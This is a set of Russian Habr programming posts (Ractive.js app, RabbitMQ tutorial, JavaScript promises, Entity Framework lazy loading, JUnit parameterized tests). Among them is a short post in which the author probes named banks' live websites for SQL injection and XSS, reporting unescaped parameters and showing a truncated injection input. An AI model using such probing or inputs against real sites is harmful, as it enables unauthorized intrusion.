**./src/components/Profile.js**
```
const Ractive = require('ractive');
module.exports = Ractive.extend({
template: require('../templates/parsed/profile'),
components: {
articles: require('./Articles')
},
computed: {
profile: require('../computed/profile')
},
attributes: {
required: ['username'],
optional: ['section']
},
data: () => ({
username: '',
section: ''
})
});
```
Однако, традиционное вычисляемое свойство все же немного усложнилось:
**./src/computed/profile.js**
```
const api = require('../services/api');
let _profile;
module.exports = function() {
const username = this.get('username');
const key = 'profileData',
keychain = `${this.root.snapshot}${this.keychain()}.${key}`;
let profile = this.get(keychain);
if (profile) {
this.set(keychain, null);
_profile = profile;
} else if (_profile && _profile.username === username) {
profile = _profile;
} else if (username) {
profile = api.profiles.fetch(username).then(data => (_profile = data.profile, _profile));
this.wait(profile, key);
}
return profile;
};
```
Здесь я как бы «кэширую» профиль пользователя в замыкании (**\_profile**), так как не хочу запрашивать профиль пользователя заново при переходе на под-роут «Favorited Articles» и обратно. Это не сложно и не затратно, но при этом работает хорошо. Например, в реализации [React/Redux](https://react-redux.realworld.io/#/@testuser21?_k=bkd4vt) этот вопрос не решен и поэтому каждый раз при переходе между «My Articles» и «Favorited Articles» выполняется фетчинг профиля. Сразу видно ребята не старались.
Теперь все это хозяйство используем в шаблоне:
**./src/templates/profile.html**
```
{{#await profile}}
{{then profile}}
#### {{ profile.username }}
{{ profile.bio }}
{{catch errors}}
{{>errors}}
{{/await}}
{{#if username}}
* [My Articles](/profile/{{ username }})
* [Favorited Articles](/profile/{{ username }}/favorites)
{{/if}}
```
Дальше все как обычно — добавляем в **Root**-компонент и в соответствующий роут.
**./src/app.js**
```
components: {
...
profile: require('./components/Profile'),
},
```
**Полный код ./src/app.js**
```
const Ractive = require('ractive');
Ractive.DEBUG = (process.env.NODE_ENV === 'development');
Ractive.DEBUG_PROMISES = Ractive.DEBUG;
Ractive.defaults.enhance = true;
Ractive.defaults.lazy = true;
Ractive.defaults.sanitize = true;
Ractive.defaults.snapshot = '@global.__DATA__';
Ractive.defaults.data.formatDate = require('./helpers/formatDate');
Ractive.defaults.data.errors = null;
Ractive.partials.errors = require('./templates/parsed/errors');
Ractive.use(require('ractive-ready')());
Ractive.use(require('ractive-page')({
meta: require('../config/meta.json')
}));
const api = require('./services/api');
const options = {
el: '#app',
template: require('./templates/parsed/app'),
partials: {
navbar: require('./templates/parsed/navbar'),
footer: require('./templates/parsed/footer'),
homepage: require('./templates/parsed/homepage'),
notfound: require('./templates/parsed/notfound')
},
transitions: {
fade: require('ractive-transitions-fade'),
},
components: {
tags: require('./components/Tags'),
articles: require('./components/Articles'),
profile: require('./components/Profile'),
},
computed: {
tags: require('./computed/tags')
}
};
module.exports = () => new Ractive(options);
```
**./src/templates/app.html**
```
...
{{elseif $route.match('/profile/:username/:section?') }}
...
```
**Полный код ./src/templates/app.html**
```
{{>navbar}}
{{#with
@shared.$route as $route,
{delay: 500} as fadeIn,
{duration: 200} as fadeOut
}}
{{#if $route.match('/login') }}
Login page
{{elseif $route.match('/register') }}
Register page
{{elseif $route.match('/profile/:username/:section?') }}
{{elseif $route.match('/') }}
{{>homepage}}
{{else}}
{{>notfound}}
{{/if}}
{{/with}}
{{>footer}}
```
Фух, на сегодня пожалуй хватит. Текущие результаты по проекту тут:
→ [Репозиторий](https://github.com/PaulMaly/realworld-starter-kit)
→ [Демо](https://ractive-realworld-example-app-dcardmtaqx.now.sh/)
В следующей части поработаем над авторизацией и изоморфными формами с **progressive enhancement**. Будет интересно, не переключайтесь! | https://habr.com/ru/post/351378/ | null | ru | null |
# Банки. Ошибки и уязвимости
Решил ради интереса посветить день обзору сайтов банков.
Первый из таких стал официальный сайт Россельхоз Банка (реклама дала о себе знать :) ), следующий Русский стандарт банк, далее X банк (X банк — банк, который не ответил на 2 моих уведомления и так не закрыл дыру) и напоследок Альфа-Банк.
Целью было не взломать или добиться вывода какой-либо секретной информации, а просто проверить на сколько хорошо сделаны официальные сайты банков.
#### Россельхоз Банк
Сайт работает на CMS Bitrix
##### Ошибки.
Первое, что бросилось мне в глаза — модуль вывода новостей, ибо там есть параметры выбора года, месяца, дня и ещё кол-во новостей на одной странице.
###### Выбор даты.
В адресной строке, указав год 200 и месяц 20 я увидел, что не было сообщений об ошибке и более того — эти данные появились в селекте на странице, а значит входящие данные выводятся на странице.
Далее решил проверить возможность SQL инъекции — неудачно.
Следующим шагом была проверка на XSS — вот тут уже стало интересно.
Спец. символы не экранируются и html символы не преобразуются в html сущности, а значит можно внедрить любой код.
К сожалению (или к счастью банка) все попытки внедрить такие XSS как вызов алерта или iframe не удались, так как в первый тег вставлялся пробел.
Входящие данные:
```
20">
``` | https://habr.com/ru/post/144904/ | null | ru | null |
# RabbitMQ tutorial 1 — Hello World
RabbitMQ позволяет взаимодействовать различным программам при помощи протокола AMQP. RabbitMQ является отличным решением для построения SOA (сервис-ориентированной архитектуры) и распределением отложенных ресурсоемких задач.
Под катом перевод [первого](http://www.rabbitmq.com/tutorials/tutorial-one-python.html) из шести уроков официального сайта. Примеры на python, но его знание вовсе не обязательно. Аналогичные примеру программы можно воспроизвести практически на любом популярном ЯП. *[так выглядят комментарии переводчика, т.е. меня]*
#### Вступление
RabbitMQ ‒ это брокер сообщений. Его основная цель ‒ принимать и отдавать сообщения. Его можно представлять себе, как почтовое отделение: когда Вы бросаете письмо в ящик, Вы можете быть уверены, что рано или поздно почтальон доставит его адресату *[видимо, автор ни разу не имел дела с Почтой России]*. В этой аналогии RabbitMQ является одновременно и почтовым ящиком, и почтовым отделением, и почтальоном.
Наибольшее отличие RabbitMQ от почтового отделения в том, что он не имеет дела с бумажными конвертами ‒ RabbitMQ принимает, хранит и отдает бинарные данные ‒ сообщения.
В RabbitMQ, а также обмене сообщениями в целом, используется следующая терминология:
* **Producer** (поставщик) ‒ программа, отправляющая сообщения. В схемах он будет представлен кругом с буквой «P»:
* **Queue** (очередь) ‒ имя «почтового ящика». Она существует внутри RabbitMQ. Хотя сообщения проходят через RabbitMQ и приложения, хранятся они только в очередях. Очередь не имеет ограничений на количество сообщений, она может принять сколь угодно большое их количество ‒ можно считать ее бесконечным буфером. Любое количество поставщиков может отправлять сообщения в одну очередь, также любое количество подписчиков может получать сообщения из одной очереди. В схемах очередь будет обозначена стеком и подписана именем:
* **Consumer** (подписчик) ‒ программа, принимающая сообщения. Обычно подписчик находится в состоянии ожидания сообщений. В схемах он будет представлен кругом с буквой «C»:
Поставщик, подписчик и брокер не обязаны находиться на одной физической машине, обычно они находятся на разных.
#### Hello World!
Первый пример не будет особо сложным ‒ давайте просто отправим сообщение, примем его и выведем на экран. Для этого нам потребуется две программы: одна будет отправлять сообщения, другая ‒ принимать и выводить их на экран.
Общая схема такова:
Поставщик отправляет сообщения в очередь с именем «hello», а подписчик получает сообщения из этой очереди.
##### Библиотека RabbitMQ
RabbitMQ использует протокол AMQP. Для использования RabbitMQ необходима библиотека, поддерживающая этот протокол. Такие библиотеки можно найти практически для каждого языка программирования. Python ‒ не исключение, для него есть несколько библиотек:
* [py-amqplib](http://barryp.org/software/py-amqplib/)
* [txAMQP](https://launchpad.net/txamqp)
* [pika](http://github.com/pika/pika)
В примерах будет использована библиотека pika. Ее можно установить при помощи менеджера пакетов pip:
```
$ sudo pip install pika==0.9.5
```
Если отсутствуют pip или git-core, то сначала необходимо установить их:
* Для Ubuntu:
```
$ sudo apt-get install python-pip git-core
```
* Для Debian:
```
$ sudo apt-get install python-setuptools git-core
$ sudo easy_install pip
```
* Для Windows (для установки easy\_install необходимо запустить MS Windows Installer для setuptools):
```
> easy_install pip
> pip install pika==0.9.5
```
#### Отправка сообщений
Наша первая программа **send.py** будет просто отправлять одно сообщение в очередь.
```
#!/usr/bin/env python
import pika
connection = pika.BlockingConnection(pika.ConnectionParameters(
'localhost'))
channel = connection.channel()
```
Мы подключились к брокеру сообщений, находящемуся на локальном хосте. Для подключения к брокеру, находящемуся на другой машине, достаточно заменить «localhost» на IP адрес этой машины.
Перед отправкой сообщения мы должны убедиться, что очередь, получающая сообщение, существует. Если отправить сообщение в несуществующую очередь, RabbitMQ его проигнорирует. Давайте создадим очередь, в которую будет отправлено сообщение, назовем ее «hello»:
```
channel.queue_declare(queue='hello')
```
Теперь все готово для отправки сообщения. Наше первое сообщение будет содержать строку «Hello World!» и будет отправлено в очередь с именем «hello».
Вообще, в RabbitMQ сообщения не отправляются непосредственно в очередь, они должны пройти через **exchange** (точка обмена). Но сейчас мы не будем заострять на этом внимание, точки обмена будут рассмотрены в третьем уроке. Сейчас достаточно знать, что точку обмена по-умолчанию можно определить, указав пустую строку. Это специальная точка обмена ‒ она позволяет определять, в какую именно очередь отправлено сообщение. Имя очереди должно быть определено в параметре **routing\_key**:
```
channel.basic_publish(exchange='',
routing_key='hello',
body='Hello World!')
print " [x] Sent 'Hello World!'"
```
Перед выходом из программы необходимо убедиться, что буфер был очищен и сообщение дошло до RabbitMQ. В этом можно быть уверенным, если использовать безопасное закрытие соединения с брокером.
```
connection.close()
```
#### Получение сообщений
Наша вторая программа **receive.py** будет получать сообщения из очереди и выводить их на экран.
Также как и в первой программе сначала необходимо подключиться к RabbitMQ. Для этого следует использовать тот же код, как и ранее. Следующий шаг, как и прежде ‒ убедиться, что очередь существует. Команда **queue\_declare** не будет создавать новую очередь, если она уже существует, поэтому сколько бы раз не была вызвана эта команда, все-равно будет создана только одна очередь.
```
channel.queue_declare(queue='hello')
```
Вы можете задаться вопросом, почему мы объявляем очередь снова, ведь она уже была объявлена в первой программе. Это нужно, чтобы быть уверенным в существовании очереди, так будет, если сначала будет запущена программа **send.py**. Но мы не знаем, какая программа будет запущена раньше. В таких случаях лучше объявить очередь в обеих программах.
##### Мониторинг очередей
Если Вы хотите посмотреть, какие очереди существуют в RabbitMQ на данный момент, Вы можете сделать это с помощью команды **rabbitmqctl** (потребуются права суперпользователя):
```
$ sudo rabbitmqctl list_queues
Listing queues ...
hello 0
...done.
```
(для Windows ‒ без sudo)
*[в нашей компании используют более удобный скрипт мониторинга:]*
```
watch 'sudo /usr/sbin/rabbitmqctl list_queues name messages_unacknowledged messages_ready messages durable auto_delete consumers | grep -v "\.\.\." | sort | column -t;'
```
*[скрипт выводит и обновляет каждые 2 секунды таблицу со списком очередей: имя очереди; количество сообщений в обработке; количество сообщений готовых к обработке; общее количество сообщений; устойчивость очереди к перезагрузке сервиса; является ли временной очередью; количество подписчиков]*
Получение сообщений из очереди более сложный процесс, чем отправка. Получение осуществляется при помощи подписки с использованием callback функции. При получении каждого сообщения библиотека Pika вызывает эту callback функцию. В нашем примере она будет выводить на экран текст сообщения.
```
def callback(ch, method, properties, body):
print " [x] Received %r" % (body,)
```
Далее, нам нужно обозначить, что callback функция будет получать сообщения из очереди с именем «hello»:
```
channel.basic_consume(callback,
queue='hello',
no_ack=True)
```
Здесь необходимо быть уверенным в том, что очередь, на которую мы хотим подписаться, была объявлена. Мы сделали это ранее с помощью команды **queue\_declare**.
Параметр **no\_ack** будет рассмотрен позже *[во [втором уроке](http://habrahabr.ru/post/150134/)]*.
И, наконец, запуск бесконечного процесса, который ожидает сообщения из очереди и вызывает callback функцию, когда это необходимо.
```
print ' [*] Waiting for messages. To exit press CTRL+C'
channel.start_consuming()
```
#### Ну а теперь все вместе
Полный код **send.py**:
```
#!/usr/bin/env python
import pika
connection = pika.BlockingConnection(pika.ConnectionParameters(
host='localhost'))
channel = connection.channel()
channel.queue_declare(queue='hello')
channel.basic_publish(exchange='',
routing_key='hello',
body='Hello World!')
print " [x] Sent 'Hello World!'"
connection.close()
```
Полный код **receive.py**:
```
#!/usr/bin/env python
import pika
connection = pika.BlockingConnection(pika.ConnectionParameters(
host='localhost'))
channel = connection.channel()
channel.queue_declare(queue='hello')
print ' [*] Waiting for messages. To exit press CTRL+C'
def callback(ch, method, properties, body):
print " [x] Received %r" % (body,)
channel.basic_consume(callback,
queue='hello',
no_ack=True)
channel.start_consuming()
```
Теперь мы можем попробовать запустить наши программы в терминале. Сначала отправим сообщение при помощи программы **send.py**:
```
$ python send.py
[x] Sent 'Hello World!'
```
Выполнение этой программы будет завершаться после отправки каждого сообщения. Теперь сообщение нужно получить:
```
$ python receive.py
[*] Waiting for messages. To exit press CTRL+C
[x] Received 'Hello World!'
```
Отлично! Мы отправили наше первое сообщение через RabbitMQ. Как Вы могли заметить, выполнение программы **receive.py** не завершилось. Она будет ожидать следующих сообщений, а остановить ее можно, нажав **Ctrl+C**.
Попробуйте запустить **send.py** снова в новом окне терминала.
Мы изучили, как отправлять и получать сообщения через именованные очереди. В [следующем уроке](http://habrahabr.ru/post/150134/) мы создадим простую очередь задач *[ресурсоемких]*.
**UPD:** библиотеку, работающую с RabbitMQ, для своего любимого ЯП Вы можете найти на официальном сайте [тут](http://www.rabbitmq.com/devtools.html). | https://habr.com/ru/post/149694/ | null | ru | null |
# Элегантное асинхронное программирование с помощью промисов
Доброго времени суток, друзья!
Промисы (обещания) — сравнительно новая особенность JavaScript, которая позволяет откладывать выполнение действия до завершения выполнения предыдущего действия или реагировать на неудачное выполнение действия. Это способствует правильному определению последовательности выполнения асинхронных операций. В данной статье рассматривается, как работают обещания, как они используются в Web API, и как можно написать собственное обещание.
Условия: базовая компьютерная грамотность, знание основ JS.
Задача: понять, что такое обещания и как они используются.
### Что такое обещания?
Мы кратко рассмотрели [обещания](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise) в первой статье курса, здесь мы рассмотрим их более подробно.
По сути, обещание — это объект, представляющий промежуточное состояние операции — он «обещает», что результат будет возвращен в будущем. Неизвестно, когда именно операция будет завершена и когда будет возвращен результат, но существует гарантия того, что когда операция завершится, ваш код либо что-то сделает с результатом, либо изящно обработает ошибку.
Как правило, то, сколько времени занимает выполнение асинхронной операции (не слишком долго!), интересует нас меньше, чем возможность немедленного реагирования на ее завершение. И, разумеется, приятно сознавать, что выполнение остального кода не блокируется.
Одним из наиболее часто встречающихся обещаний являются Web API, возвращающие обещания. Давайте рассмотрим гипотетическое приложение для видеочата. В приложении есть окно со списком друзей пользователя, нажатие на кнопку рядом с именем (или аватаром) пользователя запускает видеовызов.
Обработчик кнопки вызывает [getUserMedia()](https://developer.mozilla.org/ru/docs/Web/API/MediaDevices/getUserMedia), чтобы получить доступ к камере и микрофону пользователя. С того момента, как getUserMedia() обращается к пользователю за разрешением (использовать устройства, какое из устройств использовать, если у пользователя несколько микрофонов или камер, только голосовой вызов, среди прочего), getUserMedia() ожидает не только решения пользователя, но и освобождения устройств, если они в настоящее время используются. Кроме того, пользователь может ответить не сразу. Все это может привести к большим задержкам во времени.
Если запрос на разрешение использования устройств делается из основного потока, браузер блокируется до завершения выполнения getUserMedia(). Это недопустимо. Без обещаний всё в браузере становится «некликабельным» до тех пор, пока пользователь не даст разрешения на использование микрофона и камеры. Поэтому вместо того, чтобы ждать решения пользователя и возвращать [MediaStream](https://developer.mozilla.org/ru/docs/Web/API/MediaStream) для потока, созданного из источников (камеры и микрофона), getUserMedia() возвращает обещание, которое обрабатывает MediaStream, как только он становится доступным.
Код приложения-видеочата может выглядеть так:
```
function handle CallButton(evt){
setStatusMessage('Calling...')
navigator.mediaDevices.getUserMedia({video: true, audio: true})
.then(chatStream => {
selfViewElem.srcObject = chatStream
chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream))
setStatusMessage('Connected')
}).catch(err => {
setStatusMessage('Failed to connect')
})
}
```
Функция начинается с вызова setStatusMessage(), отображающей сообщение 'Calling...', которое служит индикатором того, что предпринимается попытка вызова. Затем вызывается getUserMedia(), запрашивающая поток, который содержит видео и аудио дорожки. Как только поток сформирован, устанавливается видео элемент для отображения потока из камеры, именуемого 'self view', аудио дорожки добавляются в [WebRTC](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API) [RTCPeerConnection](https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection), представляющий собой подключение к другому пользователю. После этого статус обновляется до 'Connected'.
Если getUserMedia() завершается неудачно, запускается блок catch. Он использует setStatusMessage() для отображения сообщения об ошибке.
Обратите внимание, что вызов getUserMedia() возвращается, даже если видео поток еще не получен. Даже если функция handleCallButton() вернула управление вызвавшему ее коду, как только getUserMedia() завершит выполнение, она вызовет обработчик. До тех пор, пока приложение не «поймет», что вещание началось, getUserMedia() будет находится в режиме ожидания.
Примечание: вы можете узнать об этом больше в статье [«Сигналы и видео вызовы»](https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API/Signaling_and_video_calling). В этой статье приводится более полный код, чем тот, который мы использовали в примере.
### Проблема функций обратного вызова
Для понимания того, почему обещания являются хорошим решением, полезно обратиться к старому способу написания функций обратного вызова (callbacks), чтобы увидеть, в чем заключалась их проблематичность.
В качестве примера рассмотрим заказ пиццы. Успешный заказ пиццы состоит из нескольких шагов, которые должны выполняться по порядку, один после другого:
1. Выбираем начинку. Это может занять некоторое время, если долго раздумывать, и завершиться неудачей, если передумать и заказать карри.
2. Размещаем заказ. Приготовление пиццы занимает некоторое время и может завершиться неудачей, если в ресторане отсутствуют необходимые ингредиенты.
3. Получаем пиццу и едим. Получение пиццы может завершиться неудачей, если, например, мы не можем оплатить заказ.
Псевдокод, написанный в старом стиле, с использованием [функций обратного вызова](https://developer.mozilla.org/ru/docs/Learn/JavaScript/Asynchronous/Introducing), может выглядеть так:
```
chooseToppings(function(toppings){
placeOrder(toppings, function(order){
collectOrder(order, function(pizza){
eatPizza(pizza)
}, failureCallback)
}, failureCallback)
}, failureCallback)
```
Такой код тяжело читать и поддерживать (его часто называют «адом функций обратного вызова» или «адом коллбэков»). Функцию failureCallback() приходится вызывать на каждом уровне вложенности. Существуют и другие проблемы.
### Используем обещания
Обещания делают код чище, легче для восприятия и поддержки. Если мы перепишем псевдокод с использованием асинхронных обещаний, то получим следующее:
```
chooseToppings()
.then(function(toppings){
return placeOrder(toppings)
})
.then(function(order){
return collectOrder(order)
})
.then(function(pizza){
eatPizza(pizza)
})
.catch(failureCallback)
```
Так намного лучше — мы видим, что происходит, мы используем один блок .catch() для обработки всех ошибок, функция не блокирует основной поток (поэтому мы можем играть в видеоигры в ожидании пиццы), каждая операция гарантированно выполняется после завершения предыдущей. Поскольку в каждом обещании возвращается обещание мы можем использовать цепочку из .then. Здорово, правда?
Используя стрелочные функции, псевдокод можно еще больше упростить:
```
chooseToppings()
.then(toppings =>
placeOrder(toppings)
)
.then(order =>
collectOrder(order)
)
.then(pizza =>
eatPizza(pizza)
)
.catch(failureCallback)
```
Или даже так:
```
chooseToppings()
.then(toppings => placeOrder(toppings))
.then(order => collectOrder(order))
.then(pizza => eatPizza(pizza))
.catch(failureCallback)
```
Это работает, потому что () => x идентично () => { return x }.
Можно даже сделать так (поскольку функции просто передают параметры, нам не нужна многослойность):
```
chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback)
```
Такой код сложнее читать и его нельзя использовать с более сложными конструкциями, чем в псевдокоде.
Примечание: псевдокод можно еще улучшить, используя async/await, о котором будет рассказываться в следующей статье.
В своей основе обещания похожи на «прослушиватели» событий (event listeners), но с некоторыми отличиями:
* Обещание выполняется только один раз (успех или провал). Оно не может выполниться дважды или переключиться с успеха на провал или наоборот после выполнения операции.
* Если обещание завершилось, и мы добавим функцию обратного вызова для обработки его результата, то данная функция будет вызвана, несмотря на то, что событие произошло перед добавлением функции.
### Базовый синтаксис обещания: реальный пример
Знать обещания важно, поскольку многие Web API используют их в функциях, выполняющих потенциально сложные задачи. Работа с современными веб технологиями предполагает использование обещаний. Позже мы научимся писать собственные обещания, а пока рассмотрим несколько простых примеров, которые можно встретить в Web API.
В первом примере мы используем метод [fetch()](https://developer.mozilla.org/ru/docs/Web/API/WindowOrWorkerGlobalScope/fetch) для получения изображения из сети, метод [blob()](https://developer.mozilla.org/en-US/docs/Web/API/Body/blob) для преобразования содержимого тела ответа в объект [Blob](https://developer.mozilla.org/ru/docs/Web/API/Blob) и отобразим этот объект внутри элемента [![]()](https://developer.mozilla.org/ru/docs/Web/HTML/Element/img). Данный пример очень похож на пример из [первой статьи](https://developer.mozilla.org/ru/docs/Learn/JavaScript/Asynchronous/Introducing#%D0%90%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9%20JavaScript), но мы сделаем его немного по-другому.
Примечание: следующий пример не будет работать, если вы просто запустите его из файла (т.е. с помощью file://URL). Запускать его нужно через [локальный сервер](https://developer.mozilla.org/ru/docs/Learn/Common_questions/set_up_a_local_testing_server) или с помощью онлайн-решений, таких как [Glitch](https://glitch.com/) или [GitHub pages](https://developer.mozilla.org/ru/docs/Learn/Common_questions/Using_Github_pages).
1. Прежде всего, загрузите [HTML](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) и [изображение](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg), которое мы будем получать.
2. Добавьте элемент | https://habr.com/ru/post/488762/ | null | ru | null |
# Lazy Loading в Entity Framework
Хочу рассказать о Lazy Loading в Entity Framework и почему использовать его надо с осторожностью. Сразу скажу, что я предполагаю что читатель использует Entity Framework или хотя бы читал про него.
Что такое Lazy Loading?
-----------------------
Lazy loading это способность EF автоматически подгружать из базы связанные сущности при первом обращении к ним. Например, рассмотрим класс *Trade*:
```
public class Trade
{
public int Id { get; set; }
public virtual Counterparty Buyer { get; set; }
public virtual Counterparty Seller { get; set; }
public decimal Qty { get; set; }
}
```
При первом обращении к свойствам *Buyer* или *Seller* они будут автоматически загружены из базы. Технически это реализовано через создание экземпляров прокси классов-наследников класса *Trade*. У прокси класса обращение к свойствам переопределено и содержит логику по загрузке данных из базы. Соответственно что бы механизм работал свойства должны быть виртуальными.
Что это дает?
-------------
В теории lazy loading дает возможность подгружать только те данные которые реально используются и нужны в работе. Облегчает получение связанных сущностей и потенциально должен ускорять работу.
А что же в этом плохого?
------------------------
Как обычно за все надо платить, вот некоторые минусы которые обязательно следует учесть при использование lazy loading.
#### Нарушает согласованность данных.
Рассмотрим следующий пример:
```
public class Order
{
public int Id {get;set;}
public virtual IList OrderLines {get;set;}
}
public string GetOrderInfo(int orderId)
{
using(var context = new Context())
{
var order = context.Orders.First(x=>x.orderId == 1);
// some logic
var info = string.Join(",", order.OrderLines.Select(x=>x.Name));
return $"{order.Id} {info}";
}
}
```
Представим что в промежутке между загрузкой заказа из базы и обращением к свойству OrderLines содержимое заказа было изменено. В результате мы получим содержимое заказа на текущий момент, а не на момент загрузки самого заказа из базы.
#### Может ухудшать производительность.
Как же так, спросите вы, он же предназначен для ускорения?? В теории да, а вот на практике мне не раз приходилось решать проблемы, появившиеся в результате неграмотного использования данной фичи. Простой пример:
```
//Рассмотрим метод загружающий информацию о сделке
public string GetTradeDescription(int tradeId)
{
using (var context = new Context())
{
var trade = context.Trades.First(x => x.Id == tradeId);
var result = $"{trade.Id}:{trade.Buyer.Name}-{trade.Seller.Name}:{trade.Qty}";
return result;
}
}
```
Вопрос, сколько запросов будет отправлено в базу? Правильно, 3. В данном случае, возможно, это и не очень то страшно.
Но давайте представим что теперь мы хотим получать информацию сразу по произвольному количеству сделок. Модифицируем наш метод:
```
public List GetTradeDescription(params int[] tradeIds)
{
using (var context = new Context())
{
var trades = context.Trades.Where(x => tradeIds.Contains(x.Id));
var result = trades
.AsEnumerable()
.Select(trade => $"{trade.Id}:{trade.Buyer.Name}-{trade.Seller.Name}:{trade.Qty}")
.ToList();
return result;
}
}
```
В результате количество запросов возрастет пропорционально количеству запрашиваемых сделок. Представьте что при запросе информации по сотне сделок в базу полетит >100 запросов, хотя хватило бы и одного. При этом подобные ошибки не так то просто отловить на этапе разработки/ревью и подобный код может выстрелить уже в боевой среде.
Аналогичная проблема возникает при попытке сериализовать объекты с поддержкой lazy loading, сериализатор будет дергать объект за каждое свойство генерируя таким образом дополнительные обращения к базе данных.
#### Текучая абстракция
При использовании lazy loading наши POCO объекты перестают быть POCO, ведь теперь мы работаем с прокси которые хранят ссылку на контекст и сами ходят в базу. Что будет если пользоваться этими объектами вне контекста который их загрузил?
```
public void DoSomeLogic(int tradeId)
{
var trade = LoadTrade(tradeId);
Console.WriteLine(trade.Buyer.Name);// Oops, здесь мы получим ошибку The ObjectContext instance has been disposed and can no longer be used for operations that require a connection
}
private Trade LoadTrade(int tradeId)
{
using (var context = new Context())
{
var trade = context.Trades.First(x => tradeId == x.Id);
return trade;
}
}
```
Заключение
----------
Лично я в своих проектах принял решение не использовать lazy loading совсем, возможно это слишком категорично, но основываясь на своем опыте скажу, что проблем от него я получил куда больше чем пользы.
Есть альтернативный вариант, оставить lazy loading включенным но строго следить за тем что бы все навигационные свойства не были виртуальными (за тем редким исключением где ~~руки чешутся~~ очень необходим lazy loading). | https://habr.com/ru/post/336812/ | null | ru | null |
# Unit-тестирование, детальное рассмотрение параметризованных тестов. Часть I
Доброго времени суток, коллеги.
Я решил поделиться своим видением на параметризованные юнит-тесты, как делаем это мы, и как возможно не делаете (но захотите делать) вы.
Хочется написать красивую фразу, о том что тестировать надо правильно, и тесты это важно, но до меня сказано и написано уже много материала, я лишь попробую резюмировать и осветить то, что по моему мнению людьми редко используется(понимается), на что в основном задвигается.
Основная цель статьи показать, как можно(и нужно) перестать захламлять свой юнит-тест кодом для создания объектов, и как декларативно создать тестовые данные, если одних mock(any()) не хватает, а таких ситуаций полно.
Создадим maven проект, добавим в него junit5, junit-jupiter-params и mokito
Чтоб не было совсем скучно начнем писать сразу с теста, как любят апологеты TDD, нам нужен сервис, который мы будем декларативно тестировать, подойдет любой, пускай это будет HabrService.
Создадим тест HabrServiceTest. В поле класса теста добавим ссылку на HabrService:
```
public class HabrServiceTest {
private HabrService habrService;
@Test
void handleTest(){
}
}
```
создадим сервис через ide (легким нажатием шортката), добавим на поле аннотацию @InjectMocks.
Приступаем непосредственно к тесту: HabrService в нашем небольшом приложении будет иметь один единственный метод handle(), который будет принимать один единственный аргумент HabrItem, и теперь наш тест выглядит так:
```
public class HabrServiceTest {
@InjectMocks
private HabrService habrService;
@Test
void handleTest(){
HabrItem item = new HabrItem();
habrService.handle(item);
}
}
```
Добавим в HabrService метод handle(), который будет возвращать id нового поста на хабре после его модерации и сохранения в БД, и принимает тип HabrItem, так же создадим наш HabrItem, и теперь тест компилируется, но падает.
Дело в том что мы добавили проверку, на ожидаемое возвращаемое значение.
```
public class HabrServiceTest {
@InjectMocks
private HabrService habrService;
@BeforeEach
void setUp(){
initMocks(this);
}
@Test
void handleTest() {
HabrItem item = new HabrItem();
Long actual = habrService.handle(item);
assertEquals(1L, actual);
}
}
```
Также, я хочу убедиться, что в ходе вызова метода handle(), были вызваны ReviewService и PersistanceService, вызвались они строго друг за другом, отработали ровно по 1 разу, и никакие другие методы уже не вызывались. Иными словами вот так:
```
public class HabrServiceTest {
@InjectMocks
private HabrService habrService;
@BeforeEach
void setUp(){
initMocks(this);
}
@Test
void handleTest() {
HabrItem item = new HabrItem();
Long actual = habrService.handle(item);
InOrder inOrder = Mockito.inOrder(reviewService, persistenceService);
inOrder.verify(reviewService).makeRewiew(item);
inOrder.verify(persistenceService).makePersist(item);
inOrder.verifyNoMoreInteractions();
assertEquals(1L, actual);
}
}
```
Добавим в поля класса класса reviewService и persistenceService, создадим их, добавим им методы makeRewiew() и makePersist() соответственно. Теперь все компилируется, но конечно же тест красный.
В контексте данной статьи, реализации ReviewService и PersistanceService не так уж важны, важна реализация HabrService, сделаем его чуть интересней чем он есть сейчас:
```
public class HabrService {
private final ReviewService reviewService;
private final PersistenceService persistenceService;
public HabrService(final ReviewService reviewService, final PersistenceService persistenceService) {
this.reviewService = reviewService;
this.persistenceService = persistenceService;
}
public Long handle(final HabrItem item) {
HabrItem reviewedItem = reviewService.makeRewiew(item);
Long persistedItemId = persistenceService.makePersist(reviewedItem);
return persistedItemId;
}
}
```
и с помощью конструкций when().then() замокируем поведение вспомогательных компонентов, в итоге наш тест стал вот таким и теперь он зеленый:
```
public class HabrServiceTest {
@Mock
private ReviewService reviewService;
@Mock
private PersistenceService persistenceService;
@InjectMocks
private HabrService habrService;
@BeforeEach
void setUp() {
initMocks(this);
}
@Test
void handleTest() {
HabrItem source = new HabrItem();
HabrItem reviewedItem = mock(HabrItem.class);
when(reviewService.makeRewiew(source)).thenReturn(reviewedItem);
when(persistenceService.makePersist(reviewedItem)).thenReturn(1L);
Long actual = habrService.handle(source);
InOrder inOrder = Mockito.inOrder(reviewService, persistenceService);
inOrder.verify(reviewService).makeRewiew(source);
inOrder.verify(persistenceService).makePersist(reviewedItem);
inOrder.verifyNoMoreInteractions();
assertEquals(1L, actual);
}
}
```
Макет для демонстрации мощи параметризованных тестов готов.
Добавим в нашу модель запроса к сервису HabrItem поле с типом хаба, hubType, создадим enum HubType и включим в него несколько типов:
```
public enum HubType {
JAVA, C, PYTHON
}
```
а модели HabrItem добавим геттер и сеттер, на созданное поле HubType.
Предположим, что в недрах нашего HabrService спрятался switch, который в зависимости от типа хаба делает с запросом неведомое что-то, и в тесте мы хотим протестировать каждый из кейсов неведомого, наивная реализация метода выглядела бы так:
```
@Test
void handleTest() {
HabrItem reviewedItem = mock(HabrItem.class);
HabrItem source = new HabrItem();
source.setHubType(HubType.JAVA);
when(reviewService.makeRewiew(source)).thenReturn(reviewedItem);
when(persistenceService.makePersist(reviewedItem)).thenReturn(1L);
Long actual = habrService.handle(source);
InOrder inOrder = Mockito.inOrder(reviewService, persistenceService);
inOrder.verify(reviewService).makeRewiew(source);
inOrder.verify(persistenceService).makePersist(reviewedItem);
inOrder.verifyNoMoreInteractions();
assertEquals(1L, actual);
}
```
Можно сделать ее чуть красивей и удобней, сделав тест параметризированным и добавить в него в качестве параметр случайное значение из нашего enum, в итоге декларация теста станет выглядеть так:
```
@ParameterizedTest
